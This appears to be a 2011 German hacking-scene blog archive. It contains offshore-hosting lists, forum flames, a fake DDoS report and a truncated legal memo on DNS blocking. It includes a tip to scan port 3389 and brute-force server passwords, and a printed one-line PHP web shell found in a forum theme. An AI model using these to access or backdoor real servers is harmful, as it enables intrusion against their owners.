Freitag, 23. Dezember 2011

VNC server scannen

viele suchen bestimmt einen server im ausland der "frei" zu verfügung steht.
mit bestimmten tools kann man port 3389 ip's durchscannen und gültige verbindungen speichern.
Diese dann mit nem anderen tool die passwörter bruten.
Ist nur ein "Tipp" von mir. Noobs sollten die Finger davon lasssen deshalb veröffentliche ich hier KEINE programme.

Samstag, 17. Dezember 2011

Offshore VPS hosting Paysafecard

Hier die anbieter wo man unteranderem auch mit paysafecard anonym einen Windows VPS oder änliches bezahlen kann.

MyHost.to
Heihachi.net
Katzglobal.com
Cinipac.com
prq.se
coolhousing.net
justhost.in.ua
Malaysiahoster.com
hub.org
MediaOn.com
Hatschi.us (Free Hoster)
largeserver.net
torqhost.com
rsaweb.co.za
pipni.cz

* MyHost.to
Serverstandort(e): Estland
Bezahlung: uKash / PaySafeCard / WebMoney
WebSpace: Ja
Dedicated Server: Nein
VPS: Nein
Deutscher Support: Ja
Adult Content: Nein
Warez-Linking: Ja
Besonderheiten:

* Heihachi.net
Serverstandort(e): Russland
Bezahlung: uKash / PaySafeCard / Liberty Reserve / WebMoney
WebSpace: Ja
Dedicated Server: Ja
VPS: Ja
Deutscher Support: Ja
Adult Content: Ja
Warez-Linking: Ja
Besonderheiten: Bietet auch Free-Hosting an

* Katzglobal.com
Serverstandort(e): Singapore, Hong Kong, Malaysia, India, Australia &China
Bezahlung: Paypal / MoneyBookers / Liberty Reserve / Global Digital Pay / Pecunix / Money Orders / Cash – USD, NZD, AUD, EUR, GBP, CHF, CAD
WebSpace: Ja
Dedicated Server: Ja
VPS: Nein
Deutscher Support: ???
Adult Content: Ja
Warez-Linking: Ja
Besonderheiten: Offshore Domains

* Cinipac.com
Serverstandort(e): Webhosting: Estland, USA, Malaysia Server:USA, Malaysia, Singapur, Japan, Iran, Russland, Bahamas VPN: USA, Malaysia, Niederlande
Bezahlung: Liberty Reserve / Moneybookers / PayPal / PaySafeCard / uKash / WebMoney / Western Union
WebSpace: Ja
Dedicated Server: Ja
VPS: Ja
Deutscher Support: Ja
Adult Content: Standort Estland: Nein
Warez-Linking: Standort Panama: Nein
Besonderheiten: Offshore Domains, VPN, Secure Shoutscast Server, Secure Mumble

* prq.se
Serverstandort(e): Schweden
Bezahlung: Wiretransfer / PayPal / Bankgiro / Postgiro
WebSpace: Ja
Dedicated Server: Ja
VPS: Nein
Deutscher Support: Nein, nur Englisch und Schwedisch
Adult Content: Ja
Warez-Linking: Ja
Besonderheiten: Co-Location(Housing), Mail Hosting, Shell Hosting

* Coolhousing.net
Serverstandort(e): Tschechien
Bezahlung: PayPal / Wire Transfer
WebSpace: Nein
Dedicated Server: Ja
VPS: Ja
Deutscher Support: Ja
Adult Content: Ja
Warez-Linking: Ja
Besonderheiten: Housing, Managed Server

* justhost.in.ua
Serverstandort(e): Ukraine
Bezahlung: PayPal / Web Money / Yandex.Money / RBK Money / Liqpay / Roboxchange / Wiretransfer
WebSpace: Ja
Dedicated Server: Ja
VPS: Ja
Deutscher Support: Nein, nur Englisch
Adult Content: Ja
Warez-Linking: Ja
Besonderheiten: Housing, Managed Server

* Malaysiahoster.com
Serverstandort(e): Malaysia
Bezahlung: Mobile Banking / Internet Banking / SMS Banking / Phone Banking / ATM Machine / Bank Transfer / Paypal
WebSpace: Ja
Dedicated Server: Ja
VPS: Nein
Deutscher Support: Nein, nur Englisch
Adult Content: ??
Warez-Linking: Nein
Besonderheiten: Housing, Managed Server

* Hub.org
Serverstandort(e): Malaysia
Bezahlung: PayPal
WebSpace: Ja
Dedicated Server: Nein
VPS: Ja
Deutscher Support: Nein, nur Englisch
Adult Content: Ja
Warez-Linking: Ja
Besonderheiten: Housing, Managed Server

* MediaOn.com
Serverstandort(e): Türkei
Bezahlung: PayPal / Post / Überweisung
WebSpace: Ja
Dedicated Server: Ja
VPS: Ja
Deutscher Support: Ja
Adult Content: Ja
Warez-Linking: Nicht auf normalem WebSpace nur auf Servern (Übersicht)
Besonderheiten: Domains

* Hatschi.us (Free Hoster)
Serverstandort(e): USA
Bezahlung: Free
WebSpace: Ja
Dedicated Server: Nein
VPS: Nein
Deutscher Support: Ja
Adult Content: ???
Warez-Linking: ???
Besonderheiten: Free Hoster

* largeserver.net
Serverstandort(e): Malaysia
Bezahlung: Cash / Check / PayPal / Internet Banking / Bank-In / Wired Transfer / Visa / Master Card / Visa Electron / Delta Card
WebSpace: Ja
Dedicated Server: Ja
VPS: Ja
Deutscher Support: Nein
Adult Content: Ja
Warez-Linking: Ja
Besonderheiten: Domains

* torqhost.com
Serverstandort(e): Estland
Bezahlung: PayPal / Moneybookers / Bank Transfer (Above 100 EUR Only)
WebSpace: Ja
Dedicated Server: Ja
VPS: Ja
Deutscher Support: Nein
Adult Content: ???
Warez-Linking: ???
Besonderheiten:

* rsaweb.co.za
Serverstandort(e): Südafrika
Bezahlung: Kreditkarte
WebSpace: Ja
Dedicated Server: Ja
VPS: Nein
Deutscher Support: Nein
Adult Content: Nein
Warez-Linking: Ja
Besonderheiten: Cloud Hosting

* pipni.cz
Serverstandort(e): Tschechien
Bezahlung: Bank Transfer
WebSpace: Ja
Dedicated Server: Nein
VPS: Nein
Deutscher Support: Nein
Adult Content: Ja
Warez-Linking: Nein
Besonderheiten:

Freitag, 16. Dezember 2011

secret-level.org

DrSheld0n (secret-level.org)

Am 30.10.2011 registrierte sich der User DrSheld0n aka. Daddy, der zuvor nur auf Foren registriert war, die sich mit dem Ausnehmen von Menschen beschäftigen, auf Free-Hack. Offensichtlich hatte er so viel Freizeit in die Betrugsforen gesteckt, dass er ohne sie oder zumindest ohne Boards, die er damit verknüpft, nicht mehr kann. Als Ausgleich für die Betrugboards, die so ziemlich restlos und höchstwahrscheinlich nur temporär durch den Angriff der Happy Ninjas verschwanden, fand er Free-Hack, das leider mittlerweile zusammen mit den Fraud-Foren unter dem Begriff "Scene" verpackt wird. Um nun in der harten, harten Welt der echten Hacking-Scene mit einem nicht all zu schlechten Ruf überleben zu können, kündigte er genau 80 Minuten nach dem Erstellen seines Vorstellungsthreads an, ein Board zu gründen zu wollen. Jetzt stellt sich natürlich die Frage, wieso möchte ein Betrüger, der zwangsweise eine Alternative für all die Fraud-Boards finden musste und auf einem Hacking-Board landete, ein weiteres Hacking-Board gründen. Logische Überlegungen meinerseits waren: Vielleicht ist er mit dem Konzept Free-Hacks nicht einverstanden, vielleicht fand er Dinge, die dringend verbessert werden müssen und er hat die Sektion "Lob, Kritik & Verbesserungsvorschläge" nicht gefunden. Nach einigem Grübeln fand ich jedoch heraus, dass all meine Vermutungen Schwachsinn waren und der wahre Grund kam mir zum Vorschein. DrSheld0n möchte einen großen E-Penis, ein eigenes Security-Board leiten und somit einen zumindest gleichhohen oder gar höheren Community-Rang erreichen, wie er ihn auf den Fraud-Boards hatte. Das Gute dabei, wenn die Betrugsforen sich demnächst wieder erholt haben und der Schmutz dort wieder Fuß fasst, kann er stolz von seiner Angesehenheit auf Free-Hack und seinem eigenen Security-Board berichten und wird möglicherweise noch in eine Very-Important-People-Benutzergruppe gesteckt.

In seinem Vorstellungsthread auf Free-Hack steht, er sei 19 Jahre alt und studiere Informatik. Seine Skills seien das Betreiben von Botnetzen, Phishing, sowie das Programmieren in den Sprachen VB6, VB.NET, Java, C++, PHP, HTML und ASP. Das Komische ist, dass er in dem Thread, in dem er Teamler für sein künftiges Projekt sucht, der sechs Tage danach erstellt wurde, angibt C++ doch nicht zu beherrschen, sondern die Sprache derzeit zu lernen und ASP hat er offensichtlich komplett verlernt (wird nicht mehr genannt).

Also ich wäre bereit für den Anfang umerstmal zu schauen wie das Projekt läuft so um die 40? auszugeben.


Ich will hier nicht sein bescheidenes Budget kritisieren, sondern ihm nur helfen und ihn darauf hinweisen, dass er sein hart Erspartes andersweitig investieren sollte, da es andernfalls flöten geht.

ich spielte seit einige Zeit bereits mit dem Gedanken ein reines Hacking-Board zu eröffnen. Das Grundgerüst seht. Es fehlt nur noch ein Team.
Derzeit sind wird 2 Admins, die es leiten.


Das ist leider falsch. Du suchst nicht nur ein Team, sondern auch einen fähigen Techmin und jemanden, der dich ersetzt, da du offensichtlich keine Ahnung von der Materie hast. Im Allgemeinen ist es üblich, bei dem Spielen des Gedankens ein Forum zu eröffnen, mögliche Teamler aus dem Kreis der engeren Bekanntschaft bereits vorher mit einzukallkulieren, anstatt im Internet nach Unbekannten zu suchen, deren äußerer Anschein dich, der zumindest in dem Bereich unwissend ist, davon zu überzeugen, der Richtige zu sein.

Weitere Informationen:
www.Secret-Level.org


Ich frage mich, wie er auf diesen Namen kam. Ein Public Board, dessen Namen "Secret" beinhaltet ist ja schon einmal fragwürdig.
Doch nicht nur die Domain hat mich verwirrt, sondern auch der Inhalt der Seite auf die man gelangt.

Es mengten sich viele Rechtschreibfehler an, auf die bereits der User "Death~" von Free-Hack aufmerksam machte.

ich wollte von euch wissen, welche Forensoftware ihr bevorzugt und welche Version.
Ich persönlich bevorzuge vBulletin. gibt viele PlugIns und Templates.


Hier informiert sich DrSheld0n über eine geeignete Boardsoftware und sucht für seine Idee, vBulletin zu verwenden, Bestätigung.

In einem weiteren Thread auf Free-Hack, informiert er sich über bekannte Lücken in der 3.8.7er Version von vBulletin, anstatt direkt eine gepatchte Version einzuspielen. Wieso das? Nahm er etwa eine nulled vBulletin Version und hat sich doch nicht wie angegeben von Fraud distanziert? Seht selbst:

wollte von euch wissen, welche Lücken euch in der Version bekannt sind?
Eventuell mit Fixx. Habe nun einige gefixxed. Eventuell gibt es noch mehr.


Und es geht weiter... Eine weitere Anfängerfrage, die von jemandem kommt, der mittlerweile ein Board leitet und die Verantwortung für die Sicherheit der User übernimmt.

ich möchte mich darüber informieren, was man gegen DDoS auf einem Linux VPS machen kann und bis wie viel PPS man einen absichern kann.


Weiter gehts:

Gibt es irgendwo eine Anleitung/Scripts für IPTables?
Gibt es noch möglichkeiten gegen SYN-DDoS zu sichern? Meine mal irgendwo was über SYN-Cookies gelesen zu haben


Die Antworten der User interessieren DrSheld0n nicht oder er versteht sie einfach nicht, er benötigt daher eine idiotensichere Anleitung.

Bin leider noch nicht auf B2H freigeschlatet.


Sollte das wirklich passieren?

habe mir eben einen TestVPS besorgt und wollte nginx installieren. Leider habe ich von Linux noch nicht viel Ahnung. Eventuell kann mir jemand helfen.


Man sieht es:
http://www.secret-level.org:8088/
http://www.secret-level.org:8088/phpinfo.php

Auch die Protection war für den Ar***, dank den offenen Ports weiß jeder, dass er bei Epiohost hostet:



Doch das war noch lange nicht alles. Nicht nur zahlreiche offene Ports (z.B. der Port 7778, auf dem Kloxo läuft), sondern auch der Umgang mit php-Shells fällt auf.

Der Noob hat mir versucht eine php_shell unterzujubel in einem vB Design


Das Zitat bezieht sich auf Some0ne, der übrigens auch einer der größten Vollpfosten ist, von dem ich je gehört habe (vielleicht bekommt er bei Gelegenheit einen eigenen Flame). Dieser hatte versucht eine php-Shell einzuschmuggeln, indem er DrSheld0n ein vbDesign Ordner gab. Im Ordner "smilies" lag auffällig neben den gif-Smilies eine php-Datei (smilies.php). Bereits in der zweite Zeile des Scripts steht deutlich in 1337H4xX0r!1elf!!-Schrift "SyRiAn Sh3ll V7" und anschließend ein Haufen auffälliger Kinder-Ascii-Art. Die Shell ist übrigens höchstwahrscheinlich backdoored gewesen (ein weiterer Fail Some0nes).
Hier übrigens das VirusTotal-Ergebnis der Shell: *Click*
(erbärmlich, wenn man eine php-Shell nicht fud bekommt... -> Fail Some0ne)

Nachdem DrSheld0n jedoch irgendwann den Hinweis bekam, dass eine Shell im Ordner liegt, hat er reagiert, die Shell entfernt und diesen Erfolg stolz auf Free-Hack präsentiert. Doch dann kam ein weitere Fail zum Vorschein. Er übersah auch die Shell im Editor-Ordner (cmsedit.php), mit offensichtlichem Inhalt:

<?php
if(isset($_GET['cmd'])){echo "<h1>cmd</h1><pre>"; system($_GET['cmd']);exit;}
?>

"Oh nein", dachte sich DrSheld0n, jetzt merken alle, dass ich keinen Plan von allem habe. Doch dann kam er mit folgendem Satz, der natürlich klarstellt, dass er von Anfang an beide Shells entdeckte:

Shell wurden alle gefunden. Es reicht ja eine zu nennen.


Es geht noch dreister. Die Free-Hack Regeln wurden eins zu eins übernommen.
http://www.secret-level.org/showthread.php?t=30 und
http://free-hack.com/misc.php?do=cfrules

Montag, 12. Dezember 2011

Scene Interview Zion-Network

Sceneinterview von becks der öfters mal im fh ts gammelt. Das interview find ich gelungen. Auch wenn ich die Idee anfangs bzw immernoch etwas kindisch finde ist es interessant. Jeder beschwert sich über die Szene, wie auch ich. Aber ändern wird sich sowieso lange nichts die Deutsche Szene wird immer schlechter und verippter.
Es gibt sogar ein Interview mit Lupa was ich beizeiten posten werde.
Lupa ist bekannter Ripper und bezeichnet sich selber auch arschloch, leider kann ich solche Arschlöcher nicht akzeptieren naja.
Dieses interview beschäftigt sich mit GOA der unteranderem bei Zion-Network.net war. Eine der wenigen Personen die ich leiden mag obwohl sie auf zion war. GOA unterstreicht auch die andere sichtweise vom Admin und und und schauts euch an..

GOA - Zion Zukunft, HappyNinjas und die Scene - Interview


Sonntag, 11. Dezember 2011

Guenstige anonyme VPS im Ausland

Anonym bezahlbare VPS, sind eigentlich eine seltenheit ich habe einen Anbieter gefunden, der preislich sehr billig ist. Und die Leistung des VPS völlig ausreicht.
Die Firma sitzt in Ägypten, also weit weg vom Europäischem recht. Deshlab auch für Warez, Szeneseiten und anonyme Blogs oder Ähnliches nutzbar.
Preise abs 2€ ca. pro monat ne VPS. Bezahlbar im Jahres oder 2 Jahres zyklus.
Viel Spaß!

http://www.citynethost.com/

Donnerstag, 8. Dezember 2011

Anonym Bloggen

Viele Blogger haben es satt sich mit Copyright gesetzen zu schlagen und angst vor Abmahnanwälten zu haben, die dann überholte Preise für z.B. eine kopierte Grafik fordern.

Folgende Hoster kann ich empfehlen um anonym Webspace zu bezahlen und eine nicht existierende Adresse bei der domain / WHOIS Protection zu hinterlassen :

http://www.cinipac.com/

Dort kann man anonym ein Blog aufsetzen ohne jegliche bedenken.
Gezahlt kann mittels Paysafecard.
Paysafecard kann man mittlerweile bei fast jeder Tankstelle gegen Bargeld erwerben weitere Informationen dazu :


http://exchanges-money.blogspot.com/2011/07/ukash-kaufen.html

Zion-network.net Wenn Dreck Verschwindet - Insiderinfos

Jeder müsste die Seite Zion-Network.net kennen, der in der Szene unterwegs ist. Und wer klar denken weiß auch das diese Seite Abschaum von Leuten ist, die 0 Skill haben und sich meiste Zeit nur Drogen reinpfeiffen und spätestens nach jeder 2 Stunde sich gegenseitig erinnern müssen, dass z.B. Trading in der Shoutbox verboten ist. Der Drecksladen wurde geleitet unter Lucifer, der am Ende sich auch sehr toll gefühlt hat, dass das Board nun eins der grössten ist. Natürlich mit den beschissesten Usern die ich kenne nichtmal 1337Crew war so schlimm unter Speedtest seiner Leitung.
Ja Ladies und Gentlemen wir reden hier von Leuten die Ihren Sonnlosigkeit an gebündelt mit 0 Skill, daran setzen fremde Kreditkarten leerzumachen und das Geld für Drogen und Co zu verprassen.
Meistens gehen diese Aktionen auch noch schief weil sich gegenseitig alle Rippen.

Nun zu den Infos:

Nach dem mehere Versuche gescheitert waren, versucht man es mittlerweile auf Zion mit ein paar Lächerlichen Aktionen mehr Schwung ins Board zu bekommen. S3TH aka 0S1r1S (damaliger Admin von CaFaTra [darknetw0rk.net] zusammen mit z3us aka Rügenwalder ) versucht nun durch gezielte geplante Aktionen Zion wieder belebter zu bekommen. Da wäre zum Beispiel die Wiederkehr von dem angeblichen Curuba. Nach einem ausführlichen Gespräch in ICQ und Gespräch mit Vanilla, war recht klar, dass es sich lediglich um eine Promoaktion handelt. Komischerweise ist der angebliche Curuba schon seit einiger Zeit abgetaucht und keiner weiß wohin er ist *ooops?*. Bust *hust*?:D Ich will ja nicht zu viel verraten Ohh nein es ist viel amüsanter. Fast so episch wie damals als YaHomie PC Verbot von seiner Mutter bkam und deswegen Zion nicht on kommen konnte.

UPDATE: Durch eine anonyme Quelle wurde mir diese Info zugespielt :
"Curuba hatte im Bus nen 17jährigen verkloppt und wurde daraufhin von seiner mom rausgeschmissen und wohnt bei nem kollegen ohne pc und so. und er ruft öfters bei goa etc an und sagt ban mal den und ban mal den, der hat ja sein pw nicht^^"

Desweiteren ist Curuba unter dem Dopppelaccount & Vendor „BahnTix“ aktiv. Hier der Beweis Ziemlich dumm von ihm, dass zu schreiben. Jaja die Selbstbeherschung fehlt wohl.
Weiter gehts direkt zum Thema Niveau & Ruf. Da das Niveau bis zum geht nicht mehr im Keller ist und der Ruf auch eher wie ein Kackhaufen aussieht versucht man es in 13Speedtest37 Manier. Banngründe mit Worten wie „Hurensohn, Ich ficke deine Mutter etc sind nicht selten und ihre Kindergarten Aktion die wohl gerade sehr in ist, nennt sich „Operation Dreck weg“.
Geskillte Leute werden plötzlich ohne Grund gebannt , weil man z.B kein Vendor bei unserem Geldgeilen Vendor S3TH kaufen wollte. Lieber macht unser möchtegern Speedtest einen VPN-Service auf (Skyline.to). Nachdem er damals von der Konkurenz (MrNice) total geplättet wurde verlangte er nach mehr Geld bei MrNice (Wer kann sich noch dran erinnern ?)

Kommen wir nun zum Thema „Schoßhündchen“. Ich weiß ja nicht, ob es dir indirekt bewusst ist d3adline aber du wirst von S3Th schon ausgenutzt Wie oft habe ich den Satz von S3TH in diversen Logs gelesen wie groß doch dein Botnetz ist und du (sollte man nicht deinen Forderungen nachgehen) mit DDoS antwortest Einfach nur Armselig.

Mir fällt gerade wieder ein wieso es ja so lange gedauert hatte bis die achso tolle „v2″ mit eig. 0 Features außer nem neuen Style und neuen Servern ca 2 Wochen gedauert hat. Kommt halt davon wenn man 0 Plan von Serveradministration & vBulletin hat. Aber es finden sich ja immer wieder doofe Leute die das für einen gratis machen. Aktuell hat diesen Posten soweit ich weiß 2×4.

Zion ist DRECK, DRECK & DRECK. Merkt euch das. Ihr braucht euch weder Invites kaufen noch Accounts kaufen. Dort werdet ihr nichts interessantes finden außer zurzeit sehr viele Themen die das Thema Drogen behandeln. Von den achso qualifizierten Mods solltet ihr auch nicht erwarten ;D Man erfährt zwar wie man sich THC ANAL injiziert aber das wars auch schon wieder

Sicher kommen dann auch wieder irgendwelche Leute an die jetzt nach Beweisen brüllen. Das meißte aus meinem Text habe ich auf Ihrem Rechten Teamspeak³ erfahren oder auch durch diverse Kontakte & Recherchen.

PS: WUNDERKIND ist wieder mit im Mod Team

Hoax - Chinesische Handyvermarkter unter DDOS

Eine Zwei-Minuten-langen DDoS-Attacke, dass eine Flut von Traffic bei einem asiatischen Mobilfunkanbieter startete Anfang Dezember war die größte solchen Vorfall in diesem Jahr bisher durch Kufen verursacht, nach Prolexic, ein Unternehmen, das Websites verteidigt gegen solche Angriffe. Die Distributed-Denial-of-Service-Angriff bestand aus drei aufeinander folgenden Wellen von mehreren Botnets zwischen 5. Dezember 16.38 Uhr bis 5. Dezember, 16:40 gestartet.

Der Angriff auf die unbenannte Organisation und ihre DNS-Provider passiert zwischen 16.38 bis 16.40 Uhr und erreicht 150 Mbit / s in Spitzenzeiten, die weit über das Niveau, das um 200 Heimanwender aus Afrika erreicht werden können, behauptete das Unternehmen. Dieser Angriff war dreimal größer in Paketen pro Sekunde Volumen als die 30 Mädchen stießen sich in MSN.

Sum Ting Wong, Die IT-Direktor des mobilen Unternehmens, sagte: "Es geschah so schnell, dass wir nicht finden, was uns getroffen."

Forscher gehen davon aus, dass der Angriff durch eine Booter in einer der Skid Foren verursacht.

Mittwoch, 30. November 2011

Grundrechtliche, telekommunikations- und telemedienrechtliche Fragen im Zusammenhang mit der Sperrung kinderpornographischer Inhalte im Internet

Bundesministerium für Familie, Senioren, Frauen und Jugend

Bundesministerium des Innern

Bundesministerium für Wirtschaft und Technologie



Berlin, den 19. Februar 2009



Betr.: Grundrechtliche, telekommunikations- und telemedienrechtliche Fra-
gen im Zusammenhang mit der Sperrung kinderpornographischer In-
halte im Internet

Bezug: Sitzung der Arbeitsgruppe „Access Blocking“ am 13. Februar 2009 in Berlin


I. Eingriff in den Schutzbereich des Fernmeldegeheimnisses aus
Art. 10 GG?
1. Grundsätzlich schützt Art. 10 GG nicht nur den Inhalt der Telekommunikati-
on, sondern auch die näheren Umstände der Telekommunikation (BVerfGE
107, 299, 312, st. Rspr.). Dazu gehört insbesondere, ob, wann und wie oft
zwischen welchen Personen oder Endeinrichtungen Telekommunikations-
verkehr stattgefunden hat oder versucht worden ist. Daher kann grundsätz-
lich jede staatliche Kenntnisnahme von Daten, die einen Rückschluss auf
eine von Art. 10 GG geschützte Telekommunikation zulässt, ein Eingriff in
Art. 10 Abs. 1 GG darstellen.

Bei einer „Sperrung über das Domain Name System (DNS)“ kommt es zu
folgendem Ablauf: Der Nutzer versucht den Abruf einer Webseite üblicher-
weise über die Eingabe eines Uniform Resource Locator (URL), der als Be-
standteil immer einen Domainnamen aufweist. Er wird dann zu einem DNS-
Server geleitet, der die zum Domainnamen gehörende IP-Adresse ausgibt,
unter der die Webseite letztlich abrufbar ist. Das DNS ist insoweit lediglich 2
eine Vereinfachung für den Nutzer, der sich die Eingabe der wesentlich
komplizierteren Ziffernfolge der IP-Adresse erspart. Der DNS-Server meldet
bei einer DNS-Sperrung keine IP-Adresse sondern i.d.R. einen Fehler. Infol-
gedessen kann keine Verbindung zur Webseite hergestellt werden und der
Browser (=Computerprogramm beim Nutzer zum Betrachten von Webseiten
im Netz) meldet den Fehler an den Nutzer zurück. Das heißt, es kommt gar
nicht erst zu einem Aufruf einer Internet-Seite oder einem Verbindungsver-
such. Die „Sperrung über das Domain-System“ spielt sich also noch im Be-
reich des Nutzers ab, es ist noch gar nicht zum Versuch eines Verbindungs-
aufbaus oder einer Kommunikation gekommen. Der Schutzbereich des
Fernmeldegeheimnisses, das ja die Verbindung an sich, und dabei sowohl
den Inhalt als auch die näheren Umstände einer Verbindung schützt, ist
dementsprechend nicht berührt, da es noch gar keine schützenswerte Ver-
bindung oder einen entsprechenden Versuch gibt. Der DNS-Server fungiert
bei der Eingabe einer bestimmten Adresse (also zum Beispiel
www.bundesregierung.de) als Telefonbuch, also sozusagen als vorgelagerte
Anlaufstelle, die den Aufruf einer Seite im Internet erst ermöglichen soll. Der
DNS-Server unterfällt somit nicht dem Schutzbereich des Art. 10 GG (ähn-
lich Sieber/Nolde, Sperrverfügungen im Internet, Freiburg 2008, S. 85; weil
die dort betroffenen Kommunikationspartner nicht in den Schutzbereich des
Art. 10 GG einbezogen sind).

Selbst wenn man annehmen würde, dass der Schutzbereich eröffnet
ist, würde es an einem Eingriff fehlen. Dabei ist zu beachten, dass sich
die Schutzwirkung von Artikel 10 GG zwar grundsätzlich auf den gesamten
Prozess der Informations- und Datenverarbeitung erstreckt. Artikel 10 GG
kann seine Schutzwirkungen daher schon in einem frühen Stadium des
technischen Übertragungsvorgangs entfalten. Nicht erst die staatliche
Kenntnisnahme vom Inhalt der Kommunikation oder Kommunikationsum-
stände kann einen Eingriff in das Grundrecht darstellen, sondern schon die
Erfassung der Daten selbst (BVerfGE 100, 313, 366). Auch jeder weitere
Datenverarbeitungsprozess, der sich an die Kenntnisnahme von geschütz-
ten Kommunikationsvorgängen anschließt und in dem Gebrauch von den er-
langten Kenntnissen gemacht wird, stellt ferner einen eigenständigen Eingriff 3
in das durch Artikel 10 GG geschützte Grundrecht dar (BVerfGE 100, 313,
359; 110, 33, 68f.; 113, 348, 365).

Eine Ausnahme hiervon ist aber anzunehmen, wenn Telekommunikations-
vorgänge ungezielt und allein technikbedingt zunächst miterfasst, aber
unmittelbar nach der Signalaufbereitung technisch wieder spurenlos
ausgesondert werden (BVerfGE 100, 313, 366; 107, 299, 328; ähnlich zur
Erfassung von durch Artikel 2 Abs. 1 i. V. m. Artikel 1 Abs. 1 GG geschütz-
ten Daten: BVerfGE 115, 320, 343f – Rasterfahndung; BVerfG Urteil vom 11.
März 2008, Rn. 68 – Automatisierte Kennzeichenerfassung; ebenso Lan-
desverfassungsgericht Mecklenburg-Vorpommern Urteil vom 27. November
2008, NordÖR 2009, 20, 21). Das Bundesverfassungsgericht hat damit für
bestimmte Fallgestaltungen anerkannt, dass es hinsichtlich solcher Daten-
verarbeitungsvorgänge an einem Grundrechtseingriff fehlt.

Auf die Frage eines Eingriffs in Artikel 10 GG übertragen, bedeut dies, dass
hinsichtlich solcher Daten, bei denen ein Individualkommunikationsbezug
gegeben ist, derartige Daten lediglich kurzzeitig automatisiert erfasst, als
„Nichttreffer“ indes aber nicht weiter verarbeitet, sondern im normalen Ge-
schäftsablauf verbleiben, beziehungsweise wieder gelöscht werden. Die
Sperrtechnik auf DNS-Basis erfordert keine Erhebung von Daten, die nicht
ohnehin beim Geschäftsbetrieb der Zugangsanbieter anfallen.

In der bloßen Verhinderung des Zugangs zu einer bestimmten Information,
etwa der Seite mit kinderpornographischem Inhalt, liegt nach einhelliger Auf-
fassung ohnehin kein Eingriff in Art. 10 Abs. 1 GG (Jarass, in: Ja-
rass/Pieroth, GG, Art. 10, Rn. 12 m.w.N.; Degen, Freiwillige Selbstkontrolle
der Access-Provider, Stuttgart 2007, 289, der aus dem Grunde generell ei-
nen Eingriff in Art. 10 GG verneint).

2. Darüber hinaus ist festzustellen, dass, sofern es zu einer Sperrung auf der
Grundlage eines öffentlich-rechtlichen Vertrages zwischen dem Zugangsan-
bieter und dem Bundeskriminalamt kommt, es bereits an einem hoheitli-
chen Eingriff fehlt. Ein Eingriff in das Fernmeldegeheimnis liegt nur dann 4
vor, wenn sich staatliche Stellen ohne Zustimmung der Beteiligten
Kenntnis von dem Inhalt oder den Umständen eines fernmeldetech-
nisch vermittelten Kommunikationsvorgangs verschaffen, die so er-
langten Informationen speichern, verwerten oder weitergeben (Hermes,
in: Dreier, GG, Art. 10, Rn. 53). Es muss sich um eine Kenntnisnahme durch
den Staat handeln (vgl. BVerfGE 113, 348, 364; 106, 28, 37; 100, 313, 366;
85, 386, 398; Bizer, in: AK GG, Art. 10, Rn. 69a). Ein solcher Eingriff liegt er-
kennbar nicht vor.

Allenfalls wäre daran zu denken, in der Durchführung einer Sperrmaßnahme
auf der Grundlage eines öffentlich-rechtlichen Vertrages mit dem Bundes-
kriminalamt einen mittelbaren Eingriff zu sehen. Während der herkömmli-
che Grundrechtseingriff in imperativer Form, also durch Gesetz, Verordnung,
Satzung oder Verwaltungsakt, erfolgt, ist der Begriff des mittelbaren Grund-
rechtseingriffs weitgehend unscharf. Einigkeit dürfte aber darin bestehen,
dass zwar auch faktische oder mittelbare Grundrechtseingriffe möglich sind
(vgl. BVerfGE 105, 252, 273), für die Annahme eines solchen Eingriffs aller-
dings besondere Voraussetzungen zu fordern sind, da letztlich jegliches
staatliches Handeln Auswirkungen auf grundrechtlich geschützte Positionen
haben kann. Ein mittelbarer Eingriff kann daher nur angenommen werden,
wenn die beanstandete Maßnahme die belastenden Wirkung bezweckt
(BVerwGE 71, 183, 193f; 90 112, 121f) oder eine besondere Schwere der
Belastung vorliegt (Jarass, in: Jarass/Pieroth, GG, Vorb. vor Art. 1, Rn. 29).
Ferner kann von Bedeutung sein, ob die Beeinträchtigung Ausdruck der Ge-
fahr ist, vor der das betreffende Grundrecht schützen soll (BVerwGE 71,
183, 192).

Nach diesen Anforderungen wäre in dem Abschluss eines öffentlich-
rechtlichen Vertrages durch das Bundeskriminalamt auch kein mittelbarer
Eingriff in Art. 10 GG zu sehen, unabhängig von der Frage, ob der Schutzbe-
reich überhaupt betroffen ist (s. oben I.). Eine besondere Schwere kann dem
Eingriff nicht attestiert werden, insbesondere nicht im Hinblick auf die „Nicht-
Trefferfälle“. Zudem gilt es zu bedenken, dass ein (nach der hier vertreten
Auffassung abzulehnender) Eingriff in das Fernmeldegeheimnis der Kunden 5
erst eine Folgewirkung des öffentlich-rechtlichen Vertrages wäre, nicht aber
unmittelbar Vertragsgegenstand (vgl. § 2 Abs. 1 des Entwurfs, wonach et-
waig notwendige Änderungen der Allgemeinen Geschäftsbedingungen erst
noch vorzunehmen sind (vgl. Frenz, Selbstverpflichtungen der Wirtschaft,
Tübingen 2001, S. 275ff).

Davon zu trennen ist die Frage, ob hier nicht die objektiv-rechtliche
Schutzwirkung des Artikels 10 GG verletzt sein könnte. Artikel 10 GG ent-
hält insoweit einen Schutzauftrag an den Staat, auch Eingriffen Dritter in das
Fernmeldegeheimnis entgegenzutreten. Einfachgesetzlich hat dies seinen
Niederschlag in der Regelung des § 88 Absatz 1 des Telekommunikati-
onsgesetzes gefunden (BVerfGE 106, 28, 34), der in seinem Anwendungs-
bereich der Rechtsprechung des Bundesverfassungsgerichts zum Fernmel-
degeheimnis entspricht (Schmidt, in: Umbach/Clemens, GG, Art. 10,
Rn. 69).

Unter anderem deswegen ergänzt § 88 TKG den Schutz des Fernmeldege-
heimnisses in Art. 10 GG. Während sich Art. 10 GG gegen staatliche Eingrif-
fe in die Telekommunikation richtet, wendet sich § 88 TKG an die privaten
Erbringer von Telekommunikationsdiensten. Dies wurde im Zuge der Privati-
sierung der Telekommunikation erforderlich, als die privaten Anbieter von
Telekommunikation aus dem Anwendungsbereich des Art. 10 GG herausfie-
len. Die Geltung des Fernmeldegeheimnisses für die privaten Diensteanbie-
ter wird nunmehr durch § 88 TKG festgeschrieben.

Für einen Eingriff in das Fernmeldegeheimnis aus § 88 TKG durch den Ein-
satz einer DNS-Sperre gilt entsprechend schon das zu Art. 10 GG Ausge-
führte. Zu beachten ist hier allerdings, dass bei dieser Prüfung zusätzlich be-
rücksichtigt werden muss, welche Daten der jeweilige Diensteanbieter im
Rahmen seiner Diensterbringung benötigt. § 88 Abs. 3 TKG erlaubt die Ver-
wendung von Kenntnissen überhaupt nur, wenn diese Kenntnisse bereits für
die geschäftsmäßige Erbringung angefallen sind. Der Diensteanbieter darf
